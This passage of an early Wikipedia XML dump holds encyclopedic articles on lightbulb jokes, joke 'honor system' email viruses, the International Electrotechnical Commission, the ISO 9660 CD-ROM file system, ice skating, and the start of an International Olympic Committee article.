:''A-1: Ten &amp;mdash; one to hold the lightbulb and nine to turn the ladder around.''
:''A-2: Any quantity n &amp;mdash; one to hold the lightbulb and n-1 to behave in a fashion generally associated with a negative [[stereotype]] of that group.''


==Basic Variations==
Even the original is subject to variation, the most common involving more people turning the entire house around. 

Once the subject is chosen, variations on the joke tend to achieve their comedic effect by highlighting features of the cultural or social group based on altering five main variables:

* the '''quantity''' (ten, three, two, none, millions) of light bulb changers can be adjusted in unexpected ways in the punchline
:''Q: How many martians does it take to change a lightbulb?''
:''A: One and a half.''

:'' Q: How many statisticians does it take to change a lightbulb?''
:''A: 1.0 +/- 0.3, 19 times out of 20.''

:''Q: How many software engineers does it take to change a light bulb?''
:''A: None, it's a hardware problem.''

* the '''duration''' can be introduced as a variable, usually if the answer is &quot;one&quot;
:''Q: How many evolutionists does it take to change a light bulb?''
:''A: Only one, but it takes eight billion years.''

* the word '''screw''' can be used to mean either a [[screw|threaded fastener]], to make a mess of something, or the act of [[sexual intercourse]]
:''Q: How many bureaucrats does it take to screw in a lightbulb?''
:''A: Any number, but they always screw it up.''

:''Q: How many men does it take to install a light bulb?''
:''A: Three. One to install it, and two to listen to him brag about the ''screwing''.

:''Q: How many feminists does it take to screw in a lightbulb''
:''A: That's not funny!''

:''Q: How many Californians does it take to screw in a lightbulb?''
:''A: Californians don't screw in light bulbs, they screw in hot tubs.''

:''Q: How many mice does it take to screw in a lightbulb?''
:''A: Only two, but God knows how they got in there!''

* the word '''[[light]]''' can be used to mock or highlight the attitude of the subject towards light or darkness
:''Q: How many Zen gurus does it take to change a lightbulb?''
:''A: None; only the inner light matters.''

* the word '''change''' can refer either to replacing a light bulb or making a cultural or structural change
:''Q: How many psychologists does it take to change a lightbulb?''
:''A: One, but only if the lightbulb really wants to change.''

Other variations exist that achieve their effect through dramatic alteration of the joke paradigm itself; for example, by revealing the joke variables in an extremely long fashion.
:''Q: How many science fiction writers does it take to change a light bulb?''
:''A: Two, but it's actually the same person doing it. He went back in time and met himself in the doorway and then the first one sat on the other one's shoulder so that they were able to reach it. Then a major time paradox occurred and the entire room, light bulb, changer and all was blown out of existence.''

:''Q: How many politicians does it take to change a light bulb?''
:''A: It doesn't matter how many you have, none of them will ever trust any of the others to hold the ladder steady.''

A further variation plays with the structure of the joke itself (often only making comedic sense when read as part of a list of regular lightbulb jokes).  For example:
:''Q: One
:''A: How many time-travellers does it take to change a lightbulb?

== [[Geography|Geographical]] or [[ethnicity|ethnic]] variations ==

=== General all-purpose ethnic version ===
This generic usability prompted one commentator to create the &quot;all-purpose ethnic version&quot; which reads as follows:

:''Q: How many members of a given demographic group does it take to change a lightbulb?''
:''A: 'N+1' &amp;mdash; one to hold the lightbulb and N to behave in a fashion generally associated with a negative [[stereotype]] of that group.''

There is no uniformity as to the target of derision: in [[United States|America]] it has been the [[Poles|Polish people]], while in [[Great Britain]] it is the [[Ireland|Irish]] who are lampooned (in [[Wales]] it is the [[Cardigan|'Cardis']]). In [[Australia]] the [[New Zealanders]] are the target of the jokes, and in [[New Zealand]] the Australians are made fun of. The Canadians target their own [[Newfoundland and Labrador|Newfoundlanders]], or &quot;newfies&quot;. The jokes are by no means limited to [[English language|English]]-speaking countries. For example, the [[Russia]]ns tell the same joke about the [[Moldavia]]ns, [[Chukchi (people)|Chukchi]] and [[Ukrainians]].  The Ukrainians, in turn, tell it about Russians; the [[Spain|Spanish]] make fun of the inhabitants of [[Lepe]], while the [[Colombia]]ns make fun of the inhabitants of [[Nariño]], and the rest of the [[Spanish language|Spanish]]-speaking population laugh at the [[Galicia (Spain)|Galicians]]; the [[Brazil]]ians mock the [[Portugal|Portuguese]]; the Portuguese mock the Brazilians; the [[Norway|Norwegians]] laugh at their [[Sweden|Swedish]] neighbours, and conversely, the Swedes tell the same joke about Norwegians; the [[Germany|Germans]] target the [[East Frisia]]ns; The [[Netherlands|Dutch]] and [[France|French]] target their [[Belgium|Belgian]] neighbours and the [[India|Indians]] target the [[Pakistan]]is. The [[Finland|Finns]] target everyone, including themselves. In [[Costa Rica]], people joke about foreigners from [[Nicaragua]].

==See also==
* [[Internet humor]]

==External links==
* [http://www.brainlock.org/fun/lbjs.htm Canonical List of Lightbulb Jokes]
* [http://www.eviloverlord.com/parodies/ Peter Anspach's Star Trek Parody Pages] &amp;mdash; contains scripts for Star Trek Episodes of every flavour, each revolving solely around the business of changing a light bulb. 
* [http://www.workinghumor.com/quickies/lightbulbs.shtml Quickies about Light Bulbs]
* [http://www.aquarianage.org/lore/jokes/litebulb.html Astrojokes &amp;mdash; The Inevitable Lightbulb Jokes] &amp;mdash; Contains lightbulb jokes revolving around star signs and their personalities.
* [http://www.publicradio.org/applications/formbuilder/projects/joke_machine/joke_page.php?joke_cat=Light+Bulb A Prairie Home Companion]
* [http://www.zodanet.com/lollerpedia/index.php/Jokebook:Lightbulb Lollerpedia lightbulb jokes] ''GFDL wiki''

[[Category:Humor-related lists|Lightbulb jokes]]
[[Category:Jokes]]

[[de:Glühbirnen-Witz]]
[[es:Chiste del bombillo]]
[[ja:電球ジョーク]]</text>
    </revision>
  </page>
  <page>
    <title>Internet humor/Long lightbulb jokes</title>
    <id>15135</id>
    <revision>
      <id>15912633</id>
      <timestamp>2003-05-27T07:48:43Z</timestamp>
      <contributor>
        <username>Minesweeper</username>
        <id>7279</id>
      </contributor>
      <comment>#REDIRECT [[lightbulb joke]]</comment>
      <text xml:space="preserve">#REDIRECT [[lightbulb joke]]</text>
    </revision>
  </page>
  <page>
    <title>Honor system virus</title>
    <id>15139</id>
    <revision>
      <id>39430625</id>
      <timestamp>2006-02-13T02:13:29Z</timestamp>
      <contributor>
        <username>Putnamehere3145</username>
        <id>820541</id>
      </contributor>
      <comment>To stop people from where I am from (USA) from editing the &quot;mispelling&quot;</comment>
      <text xml:space="preserve">'''Honor system viruses''' or '''signature viruses''' are not actual [[computer virus]]es but [[Internet humor|Internet jokes]] or [[Internet meme|meme]]s that are passed around voluntarily.

==Signature virus==

A signature virus is a piece of text placed in a [[signature block]] which encourages readers to copy it into their own signature block.  This copying is the means of [[reproduction]] of the [[meme]], and because the text encourages its own copying it is considered to be a memetic [[virus]].  A simple example:

:I'm a signature virus. Please add me to your signature and help me spread!

It is possible for such a virus to carry a short informational [[payload]] in addition to the copying instructions.  In the above example, the only payload is the [[concept]] and term &quot;signature virus&quot;.

Signature viruses are usually copied mostly due to the humour (humor) value of the concept.

==Honor system virus==

An [[honor system]] virus claims to be an [[email]] virus, but using [[human]] rather than [[computer]] action as the substrate for its destructive and reproductive behaviours.  It spreads as a simple textual email message, with text such as:

:This virus works on the honor system. Please forward this message to everyone you know, then delete all the files on your hard disk. Thank you for your cooperation.

It is a joke, not a serious virus.  Because its alleged destructive behaviour requires positive action by its intended human victim, the intended victim can simply not take the instructed action (deleting their own files).  Those humans who follow the virus's instruction to forward it to others can be safely presumed to have not followed the destructive part of the instructions, and to be forwarding the message deliberately so that their friends may also appreciate the joke.

The joke is based on the perceived foolishness in the design of mail programs that are susceptible to viruses.  A normal email virus works by including computer instructions in an email; the mail programs in question, predominantly ones developed by [[Microsoft]], execute those instructions without an explicit request from the user.  Most mail programs, in contrast, maintain a distinction between code and data, and so are immune to this type of virus.  The honor system virus draws a parallel between humans and mail programs, and so makes the reader think about the human behaviours that are analogous to these mail program behaviours.

It should be noted that some serious email viruses make use of human action in their transmission.  They include text that attempts to [[confidence trick|con]] the user into invoking the machine-executable part of the message.  This is unlike the honor system virus not only because there is a directly machine-executable component but also because the virus attempts to mislead the human.  The honor system virus is entirely straightforward and honest in its human-directed instructions, just like the computer-directed part of a normal email virus.

===Variants===

The honor system virus is also known as the [[Amish]] Computer Virus, the [[Ireland|Irish]] Computer Virus, and the [[Unix]] Computer Virus.

The &quot;Unix Computer Virus&quot; name refers to the [[Unix]] family of [[operating system]]s.  In addition to having mail programs that lack the deficiencies that allow viruses to spread by email, they make a relatively inhospitable environment for viruses, when compared to other operating systems popular on desktop computers.  Viruses do occur on [[Unix-like]] systems, but they are far less common than in other environments.  A corresponding variant of the honor system virus reads thus:

:YOU HAVE RECEIVED THE UNIX VIRUS!
 
:This virus works on the honor system. Please randomly delete some of your files and forward this to everyone you know.

The &quot;Discount Virus&quot; variant apparently fooled some people into thinking they actually received a virus:

:This computer has just been infected by the Discount Virus. Due to budgetary constraints we have had to let our programming staff go. We are counting on you to use the honor system.  Please erase all of the files from your hard drive and then send this message to the first 50 people on your mailing list.

==External links==
* [http://www.redhat.com/archives/redhat-install-list/2000-May/msg00805.html Virus attack on the Red Hat mailing list!]

[[Category:Computer humor]]
[[Category:Internet memes]]</text>
    </revision>
  </page>
  <page>
    <title>International Electrotechnical Commission</title>
    <id>15144</id>
    <revision>
      <id>41436214</id>
      <timestamp>2006-02-27T08:10:50Z</timestamp>
      <contributor>
        <ip>61.21.54.4</ip>
      </contributor>
      <comment>/* External links: */ +ja</comment>
      <text xml:space="preserve">The '''International Electrotechnical Commission''' ('''IEC''') is an international [[standards organization]] dealing with electrical, electronic and related technologies. Some of its standards are developed jointly with [[International Organization for Standardization|ISO]].

The IEC held its inaugural meeting on 26th June [[1906]], following discussions between the British [[IEE]], the American [[IEEE]] (then called IEE), and others, which began at the 1900 [[Paris International Electrical Congress]], and continued with [[Colonel]] [[R. E. B. Crompton]] playing a key role. It currently counts more than 130 countries. Sixty-five of these are members, while another 69 participate in the Affiliate Country Programme, which is not a form of membership but is designed to help industrializing countries get involved with the IEC. Originally located in [[London]], the commission moved to its current headquarters in [[Geneva]] in [[1948]].

The IEC charter embraces all electrotechnologies including energy production and distribution, electronics, magnetics and electromagnetics, electroacoustics, multimedia and telecommunication, as well as associated general disciplines such as terminology and symbols, electromagnetic compatibility, measurement and performance, dependability, design and development, safety and the environment.

Today, the IEC tends to be the prime reference point for many standards which were originally drawn up by national standards bodies such as the [[BSI]], with those bodies now copying the IEC version into their current publications. For example, IEC 268-10 (1978) is commonly quoted as the standard defining 'Programme Level Meters', though the content is essentially the same as was defined in [[British Standard]] BS4297-1968, which in turn came out of work done at the [[BBC Research Department]]. 

The IEC was instrumental in developing and distributing standards for units of measurement, particularly the [[gauss]], [[hertz]], and [[Weber (Wb)|weber]]. They also first proposed a system of standards, the [[Giovanni Giorgi|Giorgi System]], which ultimately became the [[SI]], or Système International d’unités (in English, the International System of Units).

In [[1938]], it published a multilingual international vocabulary to unify electrical terminology.
This effort continues, and the '''International Electrotechnical Vocabulary''' remains an important work in the electrical and electronic industries.

IEC standards have numbers in the range 60000&amp;ndash;79999 and their titles take a form such as ''IEC 60417: Graphical Symbols for use on Equipment''. The numbers of older IEC standards were converted in 1997 by adding 60000, for example IEC 27 became IEC 60027. 

Standards developed jointly with ISO use ISO numbering standards and are titled such as ''ISO/IEC 7498-1:1994 Open Systems Interconnection: Basic Reference Model''.  The use of the ISO/IEC prefix is limited to publications from ISO/IEC Joint Technical Committee 1 on Information Technology, as well as some ISO/IEC guides. ISO/IEC JTC1 is described in more detail under ISO.

The [[CISPR]] (''[[Comité International Spécial des Perturbations Radioélectriques]]'') – in English, the International Special Committee on Radio Interference – is one of the groups founded by the IEC.

==Membership==
The IEC is made up of members, called national committees, and each NC represents its nation's electrotechnical interests in the IEC. This includes manufacturers, providers, distributors and vendors, consumers and users, all levels of governmental agencies, professional societies and trade associations as well as standards developers from national standards bodies. National committees are constituted in different ways. Some NCs are public sector only, some are a combination of public and private sector, and some are private sector only. About 90% of those who prepare IEC standards work in industry.

Member organizations include:
*[[Brazil]] -  [[Comitê Brasileiro de Eletricidade, Eletrônica, Iluminação e Telecomunicações]] (Cobei)
*[[Canada]] - [[Standards Council of Canada]]
*[[China]] -  [[Standardization Administration of China]] (SAC)
*[[France]] -  [[Union technique de l'électricité et de la communication]] (UTE)
*[[Germany]] - Deutsche Kommission Elektrotechnik Elektronik Informationstechnik im [[DIN]] &amp; [[VDE]]
*[[India]] -  [[Bureau of Indian Standards]] (BIS)
*[[Japan]] - [[Japanese Industrial Standards Committee]]
* [[Austria]] - Oesterreichischer Verband für Elektrotechnik [[OVE]]
*[[Russia]] - Federal agency for technical regulation and metrology (ГОСТ)
*[[South Africa]] -  [[South African Bureau of Standards]] (SABS)
* [[Swiss]] - Swiss Electrotechnical Committee [[CES]]
*[[United Kingdom]] - [[British Standards Institute]]
*[[United States]] - [[American National Standards Institute]] (ANSI)

==See also==
* [[List of IEC standards]]

==External links:==
*http://www.iec.ch &amp;mdash; IEC Home Page
*http://webstore.iec.ch &amp;mdash; IEC Web Store (buy IEC standards online)
*http://tc17.iec.ch &amp;mdash; IEC Switchgear


IEC Standards and tools in database format
*[http://std.iec.ch/iec60050 International Electrotechnical Vocabulary]
*[http://std.iec.ch/glossary IEC Glossary]
*[http://std.iec.ch/iec60061 IEC 60061: Lamp caps, lampholders and gauges]
*[http://www.graphical-symbols.info/equipment IEC 60417 - ISO 7000: Graphical Symbols for Use on Equipment]
*[http://std.iec.ch/iec60617 IEC 60617: Graphical Symbols for Diagrams]
*[http://std.iec.ch/iec61360 IEC 61360: Component Data Dictionary]


[[Category:IEC]]
[[Category:Standards organizations]]
[[Category:International standards|*]]

[[zh-min-nan:IEC]]
[[da:International Electrotechnical Commission]]
[[de:International Electrotechnical Commission]]
[[es:Comisión Electrotécnica Internacional]]
[[fr:Commission électrotechnique internationale]]
[[it:Commissione Elettrotecnica Internazionale]]
[[he:ארגון הסמכות האלקטרוטכנית הבינלאומית]]
[[ja:国際電気標準会議]]
[[nl:International Electrotechnical Commission]]
[[ru:Международная электротехническая комиссия]]
[[zh:国际电工委员会]]</text>
    </revision>
  </page>
  <page>
    <title>ISO 9660</title>
    <id>15145</id>
    <revision>
      <id>41659870</id>
      <timestamp>2006-02-28T21:58:31Z</timestamp>
      <contributor>
        <ip>134.244.208.52</ip>
      </contributor>
      <text xml:space="preserve">{{Optical disc authoring}}

'''ISO 9660,''' a standard published by the [[International Organization for Standardization]] (ISO), defines a [[file system]] for [[CD-ROM]] media. 
It aims at supporting different computer [[operating system | operating systems]] such as [[Microsoft Windows]], [[Mac OS]], and systems that follow the [[Unix]] specification, so that data may be exchanged.

[[DVD-ROM|DVD]]s may also use the ISO 9660 file system. However, the [[Universal Disk Format|UDF]] file system is far more commonly used on DVDs.

== History ==

A CD-ROM may be mastered with any kind of information on it. [[Sun Microsystems]], for example, uses the Berkeley UNIX [[Unix File System|UFS]] file systems on many CD-ROMs. [[Silicon Graphics]]' [[IRIX]] uses [[EFS (IRIX)|EFS]]. [[Mac OS]] uses [[Hierarchical File System|HFS]]. This makes them usable only on this equipment, which is no big deal for a bootable CD-ROM with an operating system on it, but for distributing general information it's a big limitation.

However, because CD-ROMs are especially suited to volume publishing of information, a standard file system useful across many kinds of architecture is very desirable. Before there was a standard on this matter some were using the High Sierra format on CD-ROM, which arranged file information in a dense, sequential layout to minimise nonsequential access.

The [[High Sierra (computer term)|High Sierra]] file system format uses a hierarchical (eight levels of directories deep) tree file system arrangement, similar to UNIX and MS-DOS. High Sierra has a minimal set of file attributes (directory or ordinary file and time of recording) and name attributes (name, extension, and version). The designers realised they could never get people to agree on a unified definition of file attributes, so the minimum common information was encoded, and a place for future optional extensions (system use area) was defined for each file.

High Sierra was soon adapted (with changes) as an international standard (ISO 9660-1988), and the ISO 9660 file system format is now used throughout the industry.

== Specifications ==

=== CD-ROM Specifications ===
The smallest entity in the [[CD]] format is called a frame, and holds 24 bytes. Data in a CD-ROM are organized in both frames and sectors. A CD-ROM sector contains 98 frames, and holds 2352 bytes.

CD-ROM Mode 1, usually used for computer data, divides the 2352 byte data area defined by the Red Book standards into 12 bytes of synchronisation, 4 bytes of header, 2048 bytes of user data and 288 bytes of error correction and detection codes.

CD-ROM Mode 2, usually used for audio/video data, divides the 2352 byte into 12 bytes of synchronisation, 4 bytes of header and 2336 bytes of user data.

The main advantage of Mode 2 is that it provides an additional 14 per cent of the user data space per sector. The reason is that Mode 2 does not have the additional EDC and ECC error correction data of Mode 1.

=== ISO 9660 Specifications ===
A reserved field at the beginning of the disk is present for use in booting CD-ROM on a computer (system area). As a matter of fact its use was not specified by the ISO 9660 standard, but generally it is used for boot information.

Immediately afterwards, a series of '''volume descriptors''' details the contents and kind of information contained on the disk (something like the partition table of MS-DOS).

A volume descriptor describes the characteristics of the file system information present on a given CD-ROM, or volume. It is divided into two parts: the type of volume descriptor, and the characteristics of the descriptor.

The volume descriptor is constructed in this manner so that if a program reading the disk does not understand a particular descriptor, it can just skip over it until it finds one it recognises, thus allowing the use of many different types of information on one CD-ROM. Also, if an error were to render a descriptor unreadable, a subsequent redundant copy of a descriptor could then allow for fault recovery. When checking CD-ROMs with a dump utility we find each descriptor back in a single logical sector on itself, and also a backup of the descriptor a few logical sectors further.

The minimum requirement is that it has a '''primary descriptor''' describing the ISO 9660 file system and an '''ending descriptor''' (a variable length table that contains information on how many other descriptors are present). 

The ISO 9660 primary volume descriptor acts much like the superblock of the UNIX file system, providing details on the ISO 9660 compliant portion of the disk. Contained within the primary volume descriptor is the root directory record describing the location of the contiguous root directory. (As in UNIX, directories appear as files for the operating system special use). Directory entries are successively stored within this region. Evaluation of the ISO 9660 filenames is begun at this location. The root directory is stored as an extent, or sequential series of sectors, that contains each of the directory entries appearing in the root. In addition, since ISO 9660 works by segmenting the CD-ROM into logical blocks, the size of these blocks is found in the primary volume descriptor as well.

A CD-ROM is only compliant to the ISO 9660 file system standard if there is a primary descriptor, and when there is an ending descriptor available (e.g., the volume descriptor constitute a variable length table which contains information on how many other descriptors are present). 

The first field in a Volume Descriptor is the Volume Descriptor Type (type), which can have the following values:
* Number 0: shall mean that the Volume Descriptor is a Boot Record
* Number 1: shall mean that the Volume Descriptor is a Primary Volume Descriptor
* Number 2: shall mean that the Volume Descriptor is a Supplementary Volume Descriptor
* Number 3: shall mean that the Volume Descriptor is a Volume Partition Descriptor
* Number 255: shall mean that the Volume Descriptor is a Volume Descriptor Set Terminator. 

The second field is called the '''Standard Identifier''' and is set to CD001 for a CD-ROM compliant to the ISO 9660 standard.

Another interesting field is the '''Volume Space Size''' which contains the amount of data available on the CD-ROM.

'''File attributes''' are very simple in ISO-9660. The most important file attribute is determining whether the file is a directory or an ordinary file. File attributes for the file described by the directory entry are stored in the directory entry and optionally, in the extended attribute record.

There are two ways to locate a file on an ISO 9660 file system. One way is to successively interpret the directory names and look through each directory file structure to find the file (much the way MS-DOS and UNIX work to find a file). The other way is through the use of a precompiled '''table''' of paths, where all the entries are enumerated in the successive contents of a file with the corresponding entries. Some systems do not have a mechanism for wandering through directories, they obtain a match by consulting the table.

While a large linear table seems a bit arcane, it can be of great value, as you can quickly search without wandering across the disk (thus reducing seek time).

=== Levels and restrictions ===

There are different levels to this standard.

* Level 1 : File names are restricted to eight characters with a three-character extension, upper case letters, numbers and underscore; maximum depth of directories is eight.
* Level 2 : File names may be up to 31 characters.
* Level 3 : Files allowed to be [[fragmentation|fragmented]] (mainly to allow [[packet writing]], or incremental CD recording).

All levels restrict names to upper case letters, digits and underscores (&quot;_&quot;).  Some CD authoring applications allow the user to use almost any [[ASCII]] character. While this does not strictly conform to the ISO 9660 standard, most operating systems that can read ISO 9660 file systems support the use of most ASCII characters as an extension.

The restrictions on filename length and directory depth have been seen by many as a more serious limitation of the file system.  Many CD authoring applications attempt to work around this by truncating filenames automatically, but at the risk of breaking applications that rely on a specific file structure.

== ISO 9660:1999 ==

ISO 9660:1999 is the latest update to the ISO 9660 standard. It improves on various restrictions imposed by the old standard, such as extending the maximum path length to 207 characters, removing the eight level maximum directory nesting limit, and removing the special meaning of the dot character in filenames. This has not seen general adoption in operating systems until around 2004, but developers are generally starting to catch onto the standard.

== Disc images ==

ISO 9660 file system images ([[ISO image]]s) are a common way to electronically transfer the contents of CD-ROMs.  They often have the [[filename extension]] &lt;code&gt;.iso&lt;/code&gt; and are commonly referred to as &quot;ISOs&quot;. It should be noted an &lt;code&gt;.iso&lt;/code&gt; file may be:
# A single ISO 9660 file system image
# A multi-track disc image with a table of contents

== Extensions ==

There are common extensions to ISO 9660 to deal with the limitations. [[Rock Ridge]] supports the preservation of Unix/Linux permissions and longer ASCII-coded names; [[Joliet (file system)|Joliet]] supports names stored in [[Unicode]], thus allowing almost any character to be used, even from non-[[Latin alphabet|Latin]] scripts; [[El Torito (CD-ROM standard)|El Torito]] enables CDs to be bootable on [[IBM PC|PC]].

[[ISO 13490]] is basically ISO 9660 with multisession support.

== Operating system support ==

Most operating systems support reading of ISO 9660 formatted discs, and most new versions support the extensions such as Rock Ridge and Joliet. Operating systems that do not support the extensions usually show the basic (non-extended) features of a plain ISO 9660 disc.

Here are some operating systems and their support for ISO 9660 and extensions:

* [[DOS]]: access with extensions, such as MSCDEX.EXE (Microsoft CDROM Extension) or CORELCD.EXE
* [[Microsoft Windows]] 95, Windows 98, Windows ME: can read ISO 9660 Level 1, 2, 3, and Joliet
* [[Windows NT|Microsoft Windows NT]] 4, Windows 2000
* [[Windows XP]] can read ISO 9660 Level 1, 2, 3, [[Joliet (file system)|Joliet]], and ISO 9660:1999
* [[Linux]] and [[Berkeley Software Distribution|BSD]]: ISO 9660 Level 1, 2, 3, Joliet, Rock Ridge, and ISO 9660:1999
* [[Mac OS]] 7 to 9: ISO Level 1, 2. Optional free software supports Rock Ridge and Joliet: [http://www.alex-castro.com/jokeridge/ Joke Ridge] and [http://www.tempel.org/joliet/ Joliet Volume Access].
* [[Mac OS X]] 10.2 Jaguar, 10.3 Panther, 10.4 Tiger: ISO Level 1, 2, Joliet and Rock Ridge Extensions. Level 3 is not currently supported, although some users have been able to mount these disks by issuing commands via the Terminal. http://www.macosxhints.com/article.php?story=2004041301593855

== See also ==

* [[Joliet (file system)|Joliet]]
* [[Rock Ridge]]
* [[CD ROM]]
* [[CD recorder]]
* [[DVD]]
* [[Universal Media Disc|UMD]]
* [[Daemon Tools]] - a free utility to mount ISO images

== External links ==

* [http://users.pandora.be/it3.consultants.bvba/handouts/ISO9960.html ISO 9660 Specifications]
* [http://www.osta.org/technology/cdqa.htm Understanding CD-R &amp; CD-RW]
* [http://www.cdrfaq.org/ CD Recording FAQ]
* [http://www.ecma-international.org/publications/standards/Ecma-119.htm Ecma-119] &amp;ndash; this standard is identical to ISO 9660 (but please be careful because it has several small incompatibilities with real-life iso images).
* [http://www.petri.co.il/how_to_write_iso_files_to_cd.htm How to write ISO files to CD in the Microsoft Windows Operating System]
* [http://www.tech-recipes.com/windows_tips620.html Small, Free Way to Use and Mount Images (ISO files) Without Burning Them in Windows XP]
* [http://linux-is-sexy.blogspot.com/2006/01/iso-files-with-linux.html How to extract ISO files with Linux]


[[Category:Disk file systems]]
[[Category:ISO standards|#09660]]

[[cs:ISO 9660]]
[[de:ISO 9660]]
[[es:ISO 9660]]
[[fr:ISO 9660]]
[[ko:ISO 9660]]
[[it:ISO 9660]]
[[he:ISO 9660]]
[[nl:ISO 9660]]
[[ja:ISO 9660]]
[[pl:ISO 9660]]
[[pt:ISO 9660]]</text>
    </revision>
  </page>
  <page>
    <title>Ice skating</title>
    <id>15146</id>
    <revision>
      <id>41729244</id>
      <timestamp>2006-03-01T09:36:46Z</timestamp>
      <contributor>
        <username>Rjstott</username>
        <id>182</id>
      </contributor>
      <comment>Revert Vandal</comment>
      <text xml:space="preserve">[[Image:Ice_skating_on_Presseggersee.jpg|thumb|300px|Outdoor ice skating in Austria]]

'''Ice skating''' is [[travel]]ing on [[ice]] with [[skates]], narrow (and sometimes [[parabolic figure skating blades|parabolic]]) blade-like devices moulded into special [[boot]]s (or, more primitively, without boots, tied to regular [[footwear]]). It is mainly done for [[recreation]] and as a [[sport]].

It is possible on [[canal]]s and [[lake]]s, etc. after it has been freezing for some time, and at indoor and outdoor skating tracks and areas with artificial cooling.  The [[ice rink|skating rink]] regarded as the world's longest (about 8 kilometres long) is the [[Rideau Canal]] located in Ottawa, Ontario, Canada.

In some countries with a temperate climate, e.g. the [[Netherlands]], frozen canals and lakes are fairly rare, but skating is popular where these are encountered.

==History==
Ice skating has been believed to be started in Sweden over twelve-hundred years ago by the Vikings.  
The runners, made of bones, were ground down until they formed a flat gliding surface, and thongs tied them to the feet. The blades were polished oxen or reindeer bones. These weren't very efficient, so they used a long stick to push themselves forward and stay upright. Skates were originally used for transportation over the frozen rivers and later used for fun. Skating has been found to date back to 50 B.C. It was most common to skate where there are long, cold winters especially in places like [[Scandinavia]].

[[Image:GSskater.jpg|thumb|right|200px|''The Skater'', 1782, a portrait of [[William Grant]] by [[Gilbert Stuart]]. ]]

In the 17th century, canal racing on wooden skates with iron blades was popular in the Netherlands. Also in that century, James, the younger son of the British monarch Charles I, came to the Netherlands in exile, he fell for the sport. When he went back to England, this &quot;new&quot; sport was introduced to the British aristocracy. 

In the 18th century, ice skating became a world known sport and the Dutch created skates with much longer blades.

==How it works==

Ice skating works because the metal blade at the bottom of the ice skate shoe can glide with very little [[friction]] over the surface of the ice. However, slightly leaning the blade over and digging one of its edges into the ice (&quot;rockover and bite&quot;) gives skaters the ability to increase friction and control their movement at will. In addition, by choosing to move along curved paths whilst leaning their bodies radially and flexing their knees, skaters can use gravity to control and increase their momentum. They can also create momentum by pushing the blade against the curved track which it cuts into the ice. Skillfully combining these two actions of leaning and pushing - a technique known as &quot;drawing&quot; - results in what looks like effortless and graceful curvilinear flow across the ice.

Research in materials has come up with a number of theories explaining the true nature of skating.  The issue is that the precise mechanism by which the low-friction is generated is not fully understood, though a number of plausible theories abound usually involving explanations of air-ice boundary layer water and/or friction generated through the skate bottom. 

The boundary layer of water being the cause of slipperiness has been disputed when measurements of the boundary layer water with an atomic force microscope finding the boundary layer to be too thin to supply sufficient friction reduction.  Nevertheless, a popular theory of this is:  Because the molecular structure of ice is a [[crystalline structure]], it turns out that having this structure abruptly stop when it reaches the top of the ice is not the most [[entropically favorable]] form. Instead, there is always a [[thin film]] of liquid water ranging in thickness from only a few molecules to thousands of molecules on top of the ice. This allows a smoother transition from the structured ice to the completely random structure of the air molecules. The thickness of this liquid layer depends almost entirely on the temperature of the surface of the ice (higher temperatures give a thicker layer), and the liquid layer disappears around −20°[[Celsius|C]] (−4°[[Fahrenheit|F]]).  However, skating is still possible at temperatures much lower than −20°[[Celsius|C]].  Experiments show that ice has a minimum of kinetic friction at −7°C (−19°[[Fahrenheit|F]]), and many indoor skating rinks set their system to a similar temperature.

==External links==
* [http://www.skridsko.net/klubbar/data/science.html Scientific Papers]
* [http://www.berkeley.edu/news/media/releases/2002/05/10_somorjai.html Gabor Somorjai, the father of modern surface chemistry]
* [http://schoonrijden.rinkes.nl schoonrijden or &quot;fancy skating&quot; (schoonrijden.rinkes.nl)]
* [http://www.skatelog.com/ice/ All About Ice skating]

==See also==
A number of sports are based on the principle of ice skating:

* [[figure skating]]
* [[ice hockey]]
* [[short track speed skating]]
* [[speed skating]]
* [[tour skating]]
* [[synchronized skating]]
* [[Rousette skating]] is a recreational event based on ice skating.
* [[Elfstedentocht]]

[[Category:Skating]]

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  <page>
    <title>International Olympic Committee</title>
    <id>15147</id>
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      <comment>/* Mission and role */  typo</comment>
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The '''International Olympic Committee''' is an organisation based in [[Lausanne]], [[Switzerland]], created by [[Pierre de Coubertin]] on [[June 23]] [[1894]] to reinstate the [[Ancient Olympic Games]] held in [[Greece]] between 776 BC to 396 AD. Its membership is 203 National Olympic Committees. 

The IOC organises the Olympic Games: the [[Games of the Olympiad]] (Summer Olympic Games) are celebrated during the first year of an Olympiad, and the [[Olympic Winter Games]] during its third year. The first Games of the Olympiad of modern times were celebrated in Athens, Greece, in 1896. The first Olympic Winter Games were celebrated in Chamonix, France, in 1924.

Olympism is a philosophy of life, exalting and combining in a balanced whole the qualities of body, will and mind. Blending sport with culture and education, Olympism seeks to create a way of life based on the joy of effort, the educational value of good example and respect for universal fundamental ethical principles.

==Presidents==
{{IOC_Presidents}}
The IOC Session (composed of the IOC Members) elects, by secret ballot, a President from among its members for a term of eight years renewable once for four years. The next President election will then take place in 2009.

The President represents the IOC and presides over all its activities.

Note: President [[Juan Antonio Samaranch]] has been elected Honorary President For Life. Samaranch was formerly Minister for Sport under General [[Francisco Franco|Franco's]] [[Fascist]] government.

== Presentation ==
On [[June 23]], [[1894]] the Olympic games were re-created by Pierre de Coubertin after a hiatus of 1500 years. The baron hoped to foster international communication and peace through the Olympic Games. The IOC is a parent organisation intended to localize administration and authority for the Games, as well as to provide a single legal entity which owns [[copyrights]], [[trademarks]], and other intangible properties associated with the Olympic games. For example, the Olympic logos, the design of the Olympic flag, the motto, creed, and anthem are all owned and administered by the IOC. There are other organisations which the IOC coordinates as well, which are collectively called the '''Olympic Movement'''. The IOC President is responsible for representing the IOC as a whole, and there are members of the IOC which represent the IOC in their respective countries.

== Mission and role ==
The mission of the IOC is to promote Olympism throughout the world and to lead the Olympic Movement. 
The IOC’s role is:

1. to encourage and support the promotion of ethics in sport as well as education of youth through sport and to dedicate its efforts to ensuring that, in sport, the spirit of fair play prevails and violence is banned;

2. to encourage and support the organisation, development and coordination of sport and sports competitions;

3. to ensure the regular celebration of the Olympic Games;

4. to cooperate with the competent public or private organisations and authorities in the endeavour to place sport at the service of humanity and thereby to promote peace;

5. to take action in order to strengthen the unity and to protect the independence of the Olympic Movement;

6. to act against any form of discrimination affecting the Olympic Movement;

7. to encourage and support the promotion of women in sport at all levels and in all structures with a view to implementing the principle of equality of men and women;

8. to lead the fight against doping in sport;

9. to encourage and support measures protecting the health of athletes;

10. to oppose any political or commercial abuse of sport and athletes;

11. to encourage and support the efforts of sports organisations and public authorities to provide for the social and professional future of athletes;

12. to encourage and support the development of sport for all;

13. to encourage and support a responsible concern for environmental issues, to promote sustainable development in sport and to require that the Olympic Games are held
accordingly;

